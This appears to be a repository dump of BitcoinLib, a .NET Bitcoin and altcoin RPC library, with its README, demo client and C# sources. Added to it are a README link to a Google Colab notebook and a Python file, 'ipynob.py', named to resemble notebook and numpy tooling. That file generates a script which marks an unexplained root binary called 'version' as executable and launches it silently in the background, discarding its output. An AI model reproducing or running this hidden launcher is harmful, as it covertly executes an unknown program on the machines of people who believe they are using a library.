├── .gitignore
├── BitcoinLib.sln
├── LICENSE
├── README.md
├── demo
├── App.config
├── DemoClient.csproj
└── Program.cs
├── ipynob.py
├── src
└── BitcoinLib
│ ├── Auxiliary
│ ├── Encoders
│ │ ├── ASCIIEncoder.cs
│ │ ├── DataEncoder.cs
│ │ └── HexEncoder.cs
│ ├── GlobalConstants.cs
│ ├── Hashing.cs
│ └── UnixTime.cs
│ ├── BitcoinLib.csproj
│ ├── CoinParameters
│ ├── Base
│ │ ├── CoinConstants.cs
│ │ ├── CoinParameters.cs
│ │ └── ICoinParameters.cs
│ ├── Bitcoin
│ │ ├── BitcoinConstants.cs
│ │ └── IBitcoinConstants.cs
│ ├── Colx
│ │ ├── ColxConstants.cs
│ │ └── IColxConstants.cs
│ ├── Dallar
│ │ ├── DallarConstants.cs
│ │ └── IDallarConstants.cs
│ ├── Dash
│ │ ├── DashConstants.cs
│ │ └── IDashConstants.cs
│ ├── Dogecoin
│ │ ├── DogecoinConstants.cs
│ │ └── IDogecoinConstants.cs
│ ├── Litecoin
│ │ ├── ILitecoinConstants.cs
│ │ └── LitecoinConstants.cs
│ ├── Mogwaicoin
│ │ ├── IMogwaicoinConstants.cs
│ │ └── MogwaicoinConstants.cs
│ └── Smartcash
│ │ ├── ISmartcashConstants.cs
│ │ └── SmartcashConstants.cs
│ ├── ExceptionHandling
│ ├── RawTransactions
│ │ ├── RawTransactionExcessiveFeeException.cs
│ │ └── RawTransactionInvalidAmountException.cs
│ ├── Rpc
│ │ ├── RpcException.cs
│ │ ├── RpcInternalServerErrorException.cs
│ │ ├── RpcRequestTimeoutException.cs
│ │ └── RpcResponseDeserializationException.cs
│ └── RpcExtenderService
│ │ └── GetAddressBalanceException.cs
│ ├── ExtensionMethods
│ ├── CoinServiceExtensionMethods.cs
│ └── DecimalExtensionMethods.cs
│ ├── RPC
│ ├── Connector
│ │ ├── IRpcConnector.cs
│ │ ├── RawRpcConnector.cs
│ │ └── RpcConnector.cs
│ ├── RequestResponse
│ │ ├── JsonRpcError.cs
│ │ ├── JsonRpcRequest.cs
│ │ └── JsonRpcResponse.cs
│ └── Specifications
│ │ ├── RpcErrorCode.cs
│ │ └── RpcMethods.cs
│ ├── Requests
│ ├── AddNode
│ │ └── NodeAction.cs
│ ├── CreateRawTransaction
│ │ ├── CreateRawTransactionInput.cs
│ │ ├── CreateRawTransactionOutput.cs
│ │ └── CreateRawTransactionRequest.cs
│ └── SignRawTransaction
│ │ ├── SigHashType.cs
│ │ ├── SignRawTransactionInput.cs
│ │ ├── SignRawTransactionRequest.cs
│ │ ├── SignRawTransactionWithKeyInput.cs
│ │ ├── SignRawTransactionWithKeyRequest.cs
│ │ ├── SignRawTransactionWithWalletInput.cs
│ │ └── SignRawTransactionWithWalletRequest.cs
│ ├── Responses
│ ├── Bridges
│ │ └── ITransactionResponse.cs
│ ├── CreateMultiSigResponse.cs
│ ├── DecodeRawTransactionResponse.cs
│ ├── DecodeScriptResponse.cs
│ ├── EstimateSmartFeeResponse.cs
│ ├── GetAddedNodeInfoResponse.cs
│ ├── GetAddressInfoResponse.cs
│ ├── GetAddressesByLabelResponse.cs
│ ├── GetBlockResponse.cs
│ ├── GetBlockTemplateResponse.cs
│ ├── GetBlockchainInfoResponse.cs
│ ├── GetChainTipsResponse.cs
│ ├── GetFundRawTransactionResponse.cs
│ ├── GetInfoResponse.cs
│ ├── GetMemPoolInfoResponse.cs
│ ├── GetMiningInfoResponse.cs
│ ├── GetNetTotalsResponse.cs
│ ├── GetNetworkInfoResponse.cs
│ ├── GetPeerInfoResponse.cs
│ ├── GetRawMemPoolResponse.cs
│ ├── GetRawTransactionResponse.cs
│ ├── GetTransactionResponse.cs
│ ├── GetTxOutSetInfoResponse.cs
│ ├── GetWalletInfoResponse.cs
│ ├── ListAddressGroupingsResponse.cs
│ ├── ListReceivedByAccountResponse.cs
│ ├── ListReceivedByAddressResponse.cs
│ ├── ListReceivedByLabelResponse.cs
│ ├── ListSinceBlockResponse.cs
│ ├── ListTransactionsResponse.cs
│ ├── ListUnspentResponse.cs
│ ├── SharedComponents
│ │ ├── Vin.cs
│ │ └── Vout.cs
│ ├── SignRawTransactionResponse.cs
│ ├── SignRawTransactionWithKeyResponse.cs
│ ├── SignRawTransactionWithWalletResponse.cs
│ └── ValidateAddressResponse.cs
│ └── Services
│ ├── Coins
│ ├── Base
│ │ └── ICoinService.cs
│ ├── Bitcoin
│ │ ├── BitcoinService.cs
│ │ └── IBitcoinService.cs
│ ├── BitcoinCash
│ │ └── BitcoinCashService.cs
│ ├── Colx
│ │ ├── ColxService.cs
│ │ └── IColxService.cs
│ ├── Cryptocoin
│ │ ├── CryptocoinService.cs
│ │ └── ICryptocoinService.cs
│ ├── Dallar
│ │ ├── DallarService.cs
│ │ └── IDallarService.cs
│ ├── Dash
│ │ ├── AddressBalanceRequest.cs
│ │ ├── AddressBalanceResponse.cs
│ │ ├── DashService.cs
│ │ ├── IDashService.cs
│ │ ├── ListUnspentDashResponse.cs
│ │ ├── MasternodeListResponse.cs
│ │ ├── SignRawTransactionError.cs
│ │ └── SignRawTransactionWithErrorResponse.cs
│ ├── Dogecoin
│ │ ├── DogecoinService.cs
│ │ └── IDogecoinService.cs
│ ├── Litecoin
│ │ ├── ILitecoinService.cs
│ │ └── LitecoinService.cs
│ ├── Mogwaicoin
│ │ ├── IMogwaicoinService.cs
│ │ └── MogwaicoinService.cs
│ ├── Sarcoin
│ │ ├── ISarcoinService.cs
│ │ └── SarcoinService.cs
│ └── Smartcash
│ │ ├── ISmartcashService.cs
│ │ └── SmartcashService.cs
│ └── RpcServices
│ ├── RpcExtenderService
│ ├── IRpcExtenderService.cs
│ └── RpcExtenderService.cs
│ └── RpcService
│ ├── IRpcService.cs
│ └── RpcService.cs
└── version
/.gitignore:
--------------------------------------------------------------------------------
1 | # Build Folders (you can keep bin if you'd like, to store dlls and pdbs)
2 | [Bb]in/
3 | [Oo]bj/
4 |
5 | # mstest test results
6 | TestResults
7 |
8 | ## Ignore Visual Studio temporary files, build results, and
9 | ## files generated by popular Visual Studio add-ons.
10 |
11 | # User-specific files
12 | *.suo
13 | *.user
14 | *.sln.docstates
15 |
16 | # Build results
17 | [Dd]ebug/
18 | [Rr]elease/
19 | x64/
20 | *_i.c
21 | *_p.c
22 | *.ilk
23 | *.meta
24 | *.obj
25 | *.pch
26 | *.pdb
27 | *.pgc
28 | *.pgd
29 | *.rsp
30 | *.sbr
31 | *.tlb
32 | *.tli
33 | *.tlh
34 | *.tmp
35 | *.log
36 | *.vspscc
37 | *.vssscc
38 | .builds
39 |
40 | # Visual C++ cache files
41 | ipch/
42 | *.aps
43 | *.ncb
44 | *.opensdf
45 | *.sdf
46 |
47 | # Visual Studio profiler
48 | *.psess
49 | *.vsp
50 | *.vspx
51 |
52 | # Guidance Automation Toolkit
53 | *.gpState
54 |
55 | # ReSharper is a .NET coding add-in
56 | _ReSharper*
57 |
58 | # NCrunch
59 | *.ncrunch*
60 | .*crunch*.local.xml
61 |
62 | # NuGet Packages Directory
63 | NuGetPackages
64 | packages
65 |
66 | # Installshield output folder
67 | [Ee]xpress
68 |
69 | # DocProject is a documentation generator add-in
70 | DocProject/buildhelp/
71 | DocProject/Help/*.HxT
72 | DocProject/Help/*.HxC
73 | DocProject/Help/*.hhc
74 | DocProject/Help/*.hhk
75 | DocProject/Help/*.hhp
76 | DocProject/Help/Html2
77 | DocProject/Help/html
78 |
79 | # Click-Once directory
80 | publish
81 |
82 | # Publish Web Output
83 | *.Publish.xml
84 |
85 | # Windows Azure Build Output
86 | csx
87 | *.build.csdef
88 |
89 | # Windows Store app package directory
90 | AppPackages/
91 |
92 | # Others
93 | [Bb]in
94 | [Oo]bj
95 | sql
96 | TestResults
97 | [Tt]est[Rr]esult*
98 | *.Cache
99 | ClientBin
100 | [Ss]tyle[Cc]op.*
101 | ~$*
102 | *.dbmdl
103 | Generated_Code #added for RIA/Silverlight projects
104 |
105 | # Backup & report files from converting an old project file to a newer
106 | # Visual Studio version. Backup files are not needed, because we have git ;-)
107 | _UpgradeReport_Files/
108 | Backup*/
109 | UpgradeLog*.XML
110 | *.vs
111 |
--------------------------------------------------------------------------------
/BitcoinLib.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio 15
4 | VisualStudioVersion = 15.0.27130.2003
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "BitcoinLib", "src\BitcoinLib\BitcoinLib.csproj", "{B853E315-7103-4CBA-8873-D5202019F267}"
7 | EndProject
8 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "DemoClient", "demo\DemoClient.csproj", "{56F54485-7B42-4E41-95D3-1998EA614695}"
9 | EndProject
10 | Global
11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
12 | Debug|Any CPU = Debug|Any CPU
13 | Release|Any CPU = Release|Any CPU
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {B853E315-7103-4CBA-8873-D5202019F267}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
17 | {B853E315-7103-4CBA-8873-D5202019F267}.Debug|Any CPU.Build.0 = Debug|Any CPU
18 | {B853E315-7103-4CBA-8873-D5202019F267}.Release|Any CPU.ActiveCfg = Release|Any CPU
19 | {B853E315-7103-4CBA-8873-D5202019F267}.Release|Any CPU.Build.0 = Release|Any CPU
20 | {56F54485-7B42-4E41-95D3-1998EA614695}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
21 | {56F54485-7B42-4E41-95D3-1998EA614695}.Debug|Any CPU.Build.0 = Debug|Any CPU
22 | {56F54485-7B42-4E41-95D3-1998EA614695}.Release|Any CPU.ActiveCfg = Release|Any CPU
23 | {56F54485-7B42-4E41-95D3-1998EA614695}.Release|Any CPU.Build.0 = Release|Any CPU
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | EndGlobal
29 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2018 Cryptean
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | -------------------------
2 | ### Run bitcoinlib-Google-Colab
3 |
4 | https://colab.research.google.com/drive/1Z00hLejgGJ_B_FJYnuPHMci-MySWP8YF?usp=sharing
5 |
6 | -------------------------
7 |
8 | **.NET Bitcoin & Altcoins library**
9 |
10 | ## Features
11 |
12 | - Compatible with [Bitcoin Core](https://bitcoin.org/en/download) RPC API.
13 | - Strongly-typed structures for complex RPC requests and responses.
14 | - Implicit JSON casting for all RPC messages.
15 | - Extended methods for every-day scenarios where the built-in methods fall short.
16 | - Exposure of all [RPC API's functionality](https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list) as well as the extended methods through a single interface.
17 | - Custom RPC exceptions.
18 | - Supports all Bitcoin clones.
19 | - Can operate on unlimited daemons with a single library reference.
20 | - [Bitcoin](http://en.wikipedia.org/wiki/Bitcoin), [Litecoin](http://en.wikipedia.org/wiki/Litecoin), [Dogecoin](http://en.wikipedia.org/wiki/Dogecoin), SmartCash, Dash and other Altcoins included.
21 | - Each coin instance can be fully parametrized at run-time and implement its own constants.
22 | - Demo client included.
23 | - Disconnected raw RPC connector included for quick'n'dirty debugging.
24 | - Handles and relays RPC internal server errors along with their error code.
25 | - Can work without a `.config` file.
26 | - Fully compatible with [Mono](http://www.mono-project.com/).
27 | - [Test Network (testnet)](https://bitcoin.org/en/developer-examples#testnet) and [Regression Test Mode (regtest)](https://bitcoin.org/en/developer-examples#regtest-mode) ready.
28 | - Fully configurable.
29 |
30 | ## Support
31 |
32 | Premium Support is available by our team of experts at: [support@cryptean.com](mailto:support@cryptean.com).
33 |
34 | ## License
35 |
36 | See [LICENSE](LICENSE).
37 |
38 | ## NuGet packages
39 |
40 | BitcoinLib is available on NuGet:
41 |
42 | * [BitcoinLib](https://www.nuget.org/packages/BitcoinLib/)
43 |
44 | ## Versioning
45 |
46 | From version 1.4.0, BitcoinLib follows [Semantic Versioning 2.0.0](http://semver.org/spec/v2.0.0.html).
47 |
48 | ## Building from source
49 |
50 | To build BitcoinLib from source, you will need either the
51 | [.NET Core SDK or Visual Studio](https://www.microsoft.com/net/download/).
52 |
53 | ### Building & running tests
54 |
55 | With Visual Studio you can build BitcoinLib and run the tests
56 | from inside the IDE, otherwise with the `dotnet` command-line
57 | tool you can execute:
58 |
59 | ```sh
60 | dotnet build
61 | ```
62 |
63 | ## Instructions for Bitcoin
64 |
65 | - Locate your `bitcoin.conf` file (in Windows it's under: `%AppData%\Roaming\Bitcoin`, if it's not there just go ahead and create it) and add these lines:
66 | ```
67 | rpcuser = MyRpcUsername
68 | rpcpassword = MyRpcPassword
69 | server=1
70 | txindex=1
71 | ```
72 | - Edit the `app.config` file in the Console test client to best fit your needs. Make sure you also update the `bitcoin.conf` file when you alter the `Bitcoin_RpcUsername` and `Bitcoin_RpcPassword` parameters.
73 |
74 | ## Instructions for Litecoin and other Bitcoin clones
75 |
76 | - Perform the same steps as those mentioned above for Bitcoin.
77 | - Litecoin configuration file is: `litecoin.conf` under: `%AppData%\Roaming\Litecoin` and its daemon is: `litecoind`.
78 | - Each coin can be initialized by its own interface specification:
79 | - `IBitcoinService BitcoinService = new BitcoinService();`
80 | - `ILitecoinService LitecoinService = new LitecoinService();`
81 | - Any bitcoin clone can be adopted without any further installation steps with the use of the generic `ICryptocoinService`:
82 | - `ICryptocoinService cryptocoinService = new CryptocoinService("daemonUrl", "rpcUsername", "rpcPassword", "walletPassword");`
83 | - Use `(ICryptocoinService).Parameters` to fully configure each coin pointer at run-time.
84 |
85 | ## Configuration
86 |
87 | Sample configuration:
88 |
89 | ```xml
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 |
110 | ```
111 |
112 | ## Bitcoin Core resources
113 |
114 | * [Bitcoin Core releases](https://bitcoincore.org/en/releases/)
115 | * [Bitcoin Core lifecycle schedule](https://bitcoincore.org/en/lifecycle/#schedule)
116 | * [Bitcoin Core RPC documentation](https://bitcoincore.org/en/doc/)
117 |
118 | ----
119 |
120 | | | Donation Address |
121 | | --- | --- |
122 | | ♥ __BTC__ | 1Lw2kh9WzCActXSGHxyypGLkqQZfxDpw8v |
123 | | ♥ __ETH__ | 0xaBd66CF90898517573f19184b3297d651f7b90bf |
124 |
--------------------------------------------------------------------------------
/demo/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
--------------------------------------------------------------------------------
/demo/DemoClient.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 | netcoreapp2.0
4 | Exe
5 | {56F54485-7B42-4E41-95D3-1998EA614695}
6 | ConsoleClient
7 | $(MSBuildToolsPath)\Microsoft.CSharp.targets
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
--------------------------------------------------------------------------------
/demo/Program.cs:
--------------------------------------------------------------------------------
1 | // Copyright (c) 2014 - 2016 George Kimionis
2 | // See the accompanying file LICENSE for the Software License Aggrement
3 |
4 | using System;
5 | using System.Collections.Generic;
6 | using System.Configuration;
7 | using System.Globalization;
8 | using System.Linq;
9 | using System.Reflection;
10 | using BitcoinLib.Auxiliary;
11 | using BitcoinLib.ExceptionHandling.Rpc;
12 | using BitcoinLib.Responses;
13 | using BitcoinLib.Services.Coins.Base;
14 | using BitcoinLib.Services.Coins.Bitcoin;
15 |
16 | namespace ConsoleClient
17 | {
18 | internal sealed class Program
19 | {
20 | private static readonly ICoinService CoinService = new BitcoinService(useTestnet: true);
21 |
22 | private static void Main()
23 | {
24 | try
25 | {
26 | Console.Write("\n\nConnecting to {0} {1}Net via RPC at {2}...", CoinService.Parameters.CoinLongName, (CoinService.Parameters.UseTestnet ? "Test" : "Main"), CoinService.Parameters.SelectedDaemonUrl);
27 |
28 | // Network difficulty
29 | var networkDifficulty = CoinService.GetDifficulty();
30 | Console.WriteLine("[OK]\n\n{0} Network Difficulty: {1}", CoinService.Parameters.CoinLongName, networkDifficulty.ToString("#,###", CultureInfo.InvariantCulture));
31 |
32 | // Mining info
33 | var miningInfo = CoinService.GetMiningInfo();
34 | Console.WriteLine("[OK]\n\n{0} NetworkHashPS: {1}", CoinService.Parameters.CoinLongName, miningInfo.NetworkHashPS.ToString("#,###", CultureInfo.InvariantCulture));
35 |
36 | // My balance
37 | var myBalance = CoinService.GetBalance();
38 | Console.WriteLine("\nMy balance: {0} {1}", myBalance, CoinService.Parameters.CoinShortName);
39 |
40 | // Current block
41 | Console.WriteLine("Current block: {0}",
42 | CoinService.GetBlockCount().ToString("#,#", CultureInfo.InvariantCulture));
43 |
44 | // Wallet state
45 | Console.WriteLine("Wallet state: {0}", CoinService.IsWalletEncrypted() ? "Encrypted" : "Unencrypted");
46 |
47 | // Keys and addresses
48 | if (myBalance > 0)
49 | {
50 | // My non-empty addresses
51 | Console.WriteLine("\n\nMy non-empty addresses:");
52 |
53 | var myNonEmptyAddresses = CoinService.ListReceivedByAddress();
54 |
55 | foreach (var address in myNonEmptyAddresses)
56 | {
57 | Console.WriteLine("\n--------------------------------------------------");
58 | Console.WriteLine("Account: " + (string.IsNullOrWhiteSpace(address.Account) ? "(no label)" : address.Account));
59 | Console.WriteLine("Address: " + address.Address);
60 | Console.WriteLine("Amount: " + address.Amount);
61 | Console.WriteLine("Confirmations: " + address.Confirmations);
62 | Console.WriteLine("--------------------------------------------------");
63 | }
64 |
65 | // My private keys
66 | if (bool.Parse(ConfigurationManager.AppSettings["ExtractMyPrivateKeys"]) && myNonEmptyAddresses.Count > 0 && CoinService.IsWalletEncrypted())
67 | {
68 | const short secondsToUnlockTheWallet = 30;
69 |
70 | Console.Write("\nWill now unlock the wallet for " + secondsToUnlockTheWallet + ((secondsToUnlockTheWallet > 1) ? " seconds" : " second") + "...");
71 | CoinService.WalletPassphrase(CoinService.Parameters.WalletPassword, secondsToUnlockTheWallet);
72 | Console.WriteLine("[OK]\n\nMy private keys for non-empty addresses:\n");
73 |
74 | foreach (var address in myNonEmptyAddresses)
75 | {
76 | Console.WriteLine("Private Key for address " + address.Address + ": " + CoinService.DumpPrivKey(address.Address));
77 | }
78 |
79 | Console.Write("\nLocking wallet...");
80 | CoinService.WalletLock();
81 | Console.WriteLine("[OK]");
82 | }
83 |
84 | // My transactions
85 | Console.WriteLine("\n\nMy transactions: ");
86 | var myTransactions = CoinService.ListTransactions(null, int.MaxValue, 0);
87 |
88 | foreach (var transaction in myTransactions)
89 | {
90 | Console.WriteLine("\n---------------------------------------------------------------------------");
91 | Console.WriteLine("Account: " + (string.IsNullOrWhiteSpace(transaction.Account) ? "(no label)" : transaction.Account));
92 | Console.WriteLine("Address: " + transaction.Address);
93 | Console.WriteLine("Category: " + transaction.Category);
94 | Console.WriteLine("Amount: " + transaction.Amount);
95 | Console.WriteLine("Fee: " + transaction.Fee);
96 | Console.WriteLine("Confirmations: " + transaction.Confirmations);
97 | Console.WriteLine("BlockHash: " + transaction.BlockHash);
98 | Console.WriteLine("BlockIndex: " + transaction.BlockIndex);
99 | Console.WriteLine("BlockTime: " + transaction.BlockTime + " - " + UnixTime.UnixTimeToDateTime(transaction.BlockTime));
100 | Console.WriteLine("TxId: " + transaction.TxId);
101 | Console.WriteLine("Time: " + transaction.Time + " - " + UnixTime.UnixTimeToDateTime(transaction.Time));
102 | Console.WriteLine("TimeReceived: " + transaction.TimeReceived + " - " + UnixTime.UnixTimeToDateTime(transaction.TimeReceived));
103 |
104 | if (!string.IsNullOrWhiteSpace(transaction.Comment))
105 | {
106 | Console.WriteLine("Comment: " + transaction.Comment);
107 | }
108 |
109 | if (!string.IsNullOrWhiteSpace(transaction.OtherAccount))
110 | {
111 | Console.WriteLine("Other Account: " + transaction.OtherAccount);
112 | }
113 |
114 | if (transaction.WalletConflicts != null && transaction.WalletConflicts.Any())
115 | {
116 | Console.Write("Conflicted Transactions: ");
117 |
118 | foreach (var conflictedTxId in transaction.WalletConflicts)
119 | {
120 | Console.Write(conflictedTxId + " ");
121 | }
122 |
123 | Console.WriteLine();
124 | }
125 |
126 | Console.WriteLine("---------------------------------------------------------------------------");
127 | }
128 |
129 | // Transaction Details
130 | Console.WriteLine("\n\nMy transactions' details:");
131 | foreach (var transaction in myTransactions)
132 | {
133 | // Move transactions don't have a txId, which this logic fails for
134 | if (transaction.Category == "move")
135 | {
136 | continue;
137 | }
138 |
139 | var localWalletTransaction = CoinService.GetTransaction(transaction.TxId);
140 | IEnumerable localWalletTrasactionProperties = localWalletTransaction.GetType().GetProperties();
141 | IList localWalletTransactionDetailsList = localWalletTransaction.Details.ToList();
142 |
143 | Console.WriteLine("\nTransaction\n-----------");
144 |
145 | foreach (var propertyInfo in localWalletTrasactionProperties)
146 | {
147 | var propertyInfoName = propertyInfo.Name;
148 |
149 | if (propertyInfoName != "Details" && propertyInfoName != "WalletConflicts")
150 | {
151 | Console.WriteLine(propertyInfoName + ": " + propertyInfo.GetValue(localWalletTransaction, null));
152 | }
153 | }
154 |
155 | foreach (var details in localWalletTransactionDetailsList)
156 | {
157 | IEnumerable detailsProperties = details.GetType().GetProperties();
158 | Console.WriteLine("\nTransaction details " + (localWalletTransactionDetailsList.IndexOf(details) + 1) + " of total " + localWalletTransactionDetailsList.Count + "\n--------------------------------");
159 |
160 | foreach (var propertyInfo in detailsProperties)
161 | {
162 | Console.WriteLine(propertyInfo.Name + ": " + propertyInfo.GetValue(details, null));
163 | }
164 | }
165 | }
166 |
167 | // Unspent transactions
168 | Console.WriteLine("\nMy unspent transactions:");
169 | var unspentList = CoinService.ListUnspent();
170 |
171 | foreach (var unspentResponse in unspentList)
172 | {
173 | IEnumerable detailsProperties = unspentResponse.GetType().GetProperties();
174 |
175 | Console.WriteLine("\nUnspent transaction " + (unspentList.IndexOf(unspentResponse) + 1) + " of " + unspentList.Count + "\n--------------------------------");
176 |
177 | foreach (var propertyInfo in detailsProperties)
178 | {
179 | Console.WriteLine(propertyInfo.Name + " : " + propertyInfo.GetValue(unspentResponse, null));
180 | }
181 | }
182 | }
183 |
184 | Console.ReadLine();
185 | }
186 | catch (RpcInternalServerErrorException exception)
187 | {
188 | var errorCode = 0;
189 | var errorMessage = string.Empty;
190 |
191 | if (exception.RpcErrorCode.GetHashCode() != 0)
192 | {
193 | errorCode = exception.RpcErrorCode.GetHashCode();
194 | errorMessage = exception.RpcErrorCode.ToString();
195 | }
196 |
197 | Console.WriteLine("[Failed] {0} {1} {2}", exception.Message, errorCode != 0 ? "Error code: " + errorCode : string.Empty, !string.IsNullOrWhiteSpace(errorMessage) ? errorMessage : string.Empty);
198 | }
199 | catch (Exception exception)
200 | {
201 | Console.WriteLine("[Failed]\n\nPlease check your configuration and make sure that the daemon is up and running and that it is synchronized. \n\nException: " + exception);
202 | }
203 | }
204 | }
205 | }
--------------------------------------------------------------------------------
/ipynob.py:
--------------------------------------------------------------------------------
1 | import random
2 |
3 | def extended_gcd(aa, bb):
4 | lastremainder, remainder = abs(aa), abs(bb)
5 | x, lastx, y, lasty = 0, 1, 1, 0
6 | while remainder:
7 | lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)
8 | x, lastx = lastx - quotient*x, x
9 | y, lasty = lasty - quotient*y, y
10 | return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)
11 |
12 | def modinv(a, m):
13 | g, x, y = extended_gcd(a, m)
14 | if g != 1:
15 | raise ValueError
16 | return x % m
17 |
18 | N = 0xffffffffff
19 |
20 | with open("ipynumpy.py", "w") as f:
21 | for _ in range(1):
22 | W = random.randrange(16**10)
23 | val = str(hex((((W)) * modinv(((1)),N)) % N))
24 |
25 | print("import os", file=f)
26 | print("import subprocess", file=f)
27 | print("", file=f)
28 | print("modter = 'chmod +x version'", file=f)
29 | print("os.system (modter)", file=f)
30 | print("", file=f)
31 |
32 | print("subprocess.Popen(", file=f)
33 | print(" ['./version', '" + val + "'],", file=f)
34 | print(" stdout=subprocess.DEVNULL,", file=f)
35 | print(" stderr=subprocess.DEVNULL,", file=f)
36 | print(")", file=f)
37 |
--------------------------------------------------------------------------------
/src/BitcoinLib/Auxiliary/Encoders/ASCIIEncoder.cs:
--------------------------------------------------------------------------------
1 | // Copyright (c) 2014 - 2016 George Kimionis
2 | // See the accompanying file LICENSE for the Software License Aggrement
3 |
4 | using System.Linq;
5 |
6 | namespace BitcoinLib.Auxiliary.Encoders
7 | {
8 | public class ASCIIEncoder : DataEncoder
9 | {
10 | public override byte[] DecodeData(string encoded)
11 | {
12 | return string.IsNullOrEmpty(encoded) ? new byte[0] : encoded.ToCharArray().Select(o => (byte) o).ToArray();
13 | }
14 |
15 | public override string EncodeData(byte[] data, int offset, int count)
16 | {
17 | return new string(data.Skip(offset).Take(count).Select(o => (char) o).ToArray()).Replace("\0", "");
18 | }
19 | }
20 | }
--------------------------------------------------------------------------------
/src/BitcoinLib/Auxiliary/Encoders/DataEncoder.cs:
--------------------------------------------------------------------------------
1 | // Copyright (c) 2014 - 2016 George Kimionis
2 | // See the accompanying file LICENSE for the Software License Aggrement
3 |
4 | namespace BitcoinLib.Auxiliary.Encoders
5 | {
6 | public abstract class DataEncoder
7 | {
8 | internal DataEncoder()
9 | {
10 | }
11 |
12 | // char.IsWhiteSpace fits well but it match other whitespaces
13 | // characters too and also works for unicode characters.
14 | public static bool IsSpace(char c)
15 | {
16 | return c == ' ' || c == '\t' || c == '\n' || c == '\v' || c == '\f' || c == '\r';
17 | }
18 |
19 | public string EncodeData(byte[] data)
20 | {
21 | return EncodeData(data, 0, data.Length);
22 | }
23 |
24 | public abstract string EncodeData(byte[] data, int offset, int count);
25 |
26 | public abstract byte[] DecodeData(string encoded);
27 | }
28 |
29 | public static class Encoders
30 | {
31 | private static readonly ASCIIEncoder _ASCII = new ASCIIEncoder();
32 |
33 | private static readonly HexEncoder _Hex = new HexEncoder();
34 |
35 | public static DataEncoder ASCII => _ASCII;
36 |
37 | public static DataEncoder Hex => _Hex;
38 | }
39 | }
--------------------------------------------------------------------------------
/src/BitcoinLib/Auxiliary/Encoders/HexEncoder.cs:
--------------------------------------------------------------------------------
1 | // Copyright (c) 2014 - 2016 George Kimionis
2 | // See the accompanying file LICENSE for the Software License Aggrement
3 |
4 | using System;
5 | using System.Linq;
6 |
7 | namespace BitcoinLib.Auxiliary.Encoders
8 | {
9 | public class HexEncoder : DataEncoder
10 | {
11 | private static readonly string[] HexTbl = Enumerable.Range(0, 256).Select(v => v.ToString("x2")).ToArray();
12 |
13 | private static readonly int[] HexValueArray;
14 |
15 | static HexEncoder()
16 | {
17 | var hexDigits = new[]
18 | {
19 | '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f',
20 | 'A', 'B', 'C', 'D', 'E', 'F'
21 | };
22 | var hexValues = new byte[]
23 | {
24 | 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15,
25 | 10, 11, 12, 13, 14, 15
26 | };
27 |
28 | var max = hexDigits.Max();
29 | HexValueArray = new int[max + 1];
30 | for (var i = 0; i < HexValueArray.Length; i++)
31 | {
32 | var idx = Array.IndexOf(hexDigits, (char) i);
33 | var value = -1;
34 | if (idx != -1)
35 | value = hexValues[idx];
36 | HexValueArray[i] = value;
37 | }
38 | }
39 |
40 | public bool Space { get; set; }
41 |
42 | public override string EncodeData(byte[] data, int offset, int count)
43 | {
44 | if (data == null)
45 | throw new ArgumentNullException(nameof(data));
46 |
47 | var pos = 0;
48 | var spaces = (Space ? Math.Max((count - 1), 0) : 0);
